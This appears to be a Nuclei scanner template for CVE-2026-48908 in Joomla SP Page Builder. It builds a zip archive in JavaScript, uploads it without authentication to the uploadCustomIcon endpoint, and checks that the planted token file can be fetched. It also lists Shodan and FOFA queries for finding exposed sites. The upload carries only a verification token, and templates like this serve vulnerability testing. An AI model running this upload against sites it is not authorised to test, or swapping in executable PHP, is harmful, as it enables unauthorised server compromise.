id: CVE-2026-48908

info:
  name: Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
   SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of SP Page Builder for Joomla.
  reference:
    - https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/
    - https://github.com/papageo75/CVE-2026-48908-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48908
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48908
    epss-score: 0.8813
    epss-percentile: 0.9975
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: joomshaper
    product: sp_page_builder
    framework: joomla
    shodan-query: http.html:"com_sppagebuilder"
    fofa-query: body="com_sppagebuilder"
  tags: cve,cve2026,joomla,sppagebuilder,rce,file-upload,intrusive,kev,vkev

flow: |
  // build the icon-package zip at runtime with a random verify filename + content
  function crc32(b){var c,crc=0^(-1);for(var i=0;i<b.length;i++){c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}crc=(crc>>>8)^c;}return (crc^(-1))>>>0;}
  function sb(s){var a=[];for(var i=0;i<s.length;i++){a.push(s.charCodeAt(i)&0xFF);}return a;}
  function u16(n){return [n&0xFF,(n>>>8)&0xFF];}
  function u32(n){return [n&0xFF,(n>>>8)&0xFF,(n>>>16)&0xFF,(n>>>24)&0xFF];}
  function pp(d,a){for(var i=0;i<a.length;i++){d.push(a[i]);}}
  function b64(b){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r="",i;for(i=0;i<b.length;i+=3){var x=b[i],y=(i+1<b.length)?b[i+1]:0,z=(i+2<b.length)?b[i+2]:0;r+=t.charAt(x>>>2);r+=t.charAt(((x&3)<<4)|(y>>>4));r+=(i+1<b.length)?t.charAt(((y&15)<<2)|(z>>>6)):"=";r+=(i+2<b.length)?t.charAt(z&63):"=";}return r;}
  function rtok(n){var c="abcdefghijklmnopqrstuvwxyz0123456789",s="";for(var i=0;i<n;i++){s+=c.charAt(Math.floor(Math.random()*c.length));}return s;}
  function buildZip(files){var out=[],cd=[],off=0,dt=0x0000,dd=0x0021;for(var i=0;i<files.length;i++){var f=files[i],nb=sb(f.name),crc=crc32(f.data),sz=f.data.length,nl=nb.length;var lh=[];pp(lh,[0x50,0x4B,0x03,0x04]);pp(lh,u16(20));pp(lh,u16(0));pp(lh,u16(0));pp(lh,u16(dt));pp(lh,u16(dd));pp(lh,u32(crc));pp(lh,u32(sz));pp(lh,u32(sz));pp(lh,u16(nl));pp(lh,u16(0));pp(lh,nb);pp(out,lh);pp(out,f.data);var ce=[];pp(ce,[0x50,0x4B,0x01,0x02]);pp(ce,u16(20));pp(ce,u16(20));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(dt));pp(ce,u16(dd));pp(ce,u32(crc));pp(ce,u32(sz));pp(ce,u32(sz));pp(ce,u16(nl));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u32(0));pp(ce,u32(off));pp(ce,nb);pp(cd,ce);off+=lh.length+sz;}var cds=out.length;pp(out,cd);var cz=cd.length;var e=[];pp(e,[0x50,0x4B,0x05,0x06]);pp(e,u16(0));pp(e,u16(0));pp(e,u16(files.length));pp(e,u16(files.length));pp(e,u32(cz));pp(e,u32(cds));pp(e,u16(0));pp(out,e);return out;}

  var vtoken = rtok(16);
  var files = [
    {name:"selection.json", data:sb('{"IcoMoonType": "selection", "icons": [], "metadata": {"name": "iconpkg"}, "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": "iconpkg"}}}}')},
    {name:"style.css", data:sb(".ico-x:before{content:'x';}")},
    {name:"fonts/iconpkg.ttf", data:sb("FONT")},
    {name:"fonts/"+vtoken+".txt", data:sb(vtoken)}
  ];
  set("vtoken", vtoken);
  set("zipdata", b64(buildZip(files)));

  http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "com_sppagebuilder")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----FormBoundaryCK

        ------FormBoundaryCK
        Content-Disposition: form-data; name="custom_icon"; filename="iconpkg.zip"
        Content-Type: application/zip

        {{base64_decode(zipdata)}}
        ------FormBoundaryCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status", "output")'
          - '!contains(body, "require admin")'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_sppagebuilder/assets/iconfont/iconpkg/fonts/{{vtoken}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{vtoken}}")'
        condition: and
# digest: 490a0046304402205d3d3a81bf9a54f71f90aefe75e8bf4b35b71bb97dc4a45fc30ccb79d8c74b75022038be8c8a38fe71279ce282e48ea73683d0049166775b6beb9879da634609ffdd:922c64590222798bb761d5b6d8e72950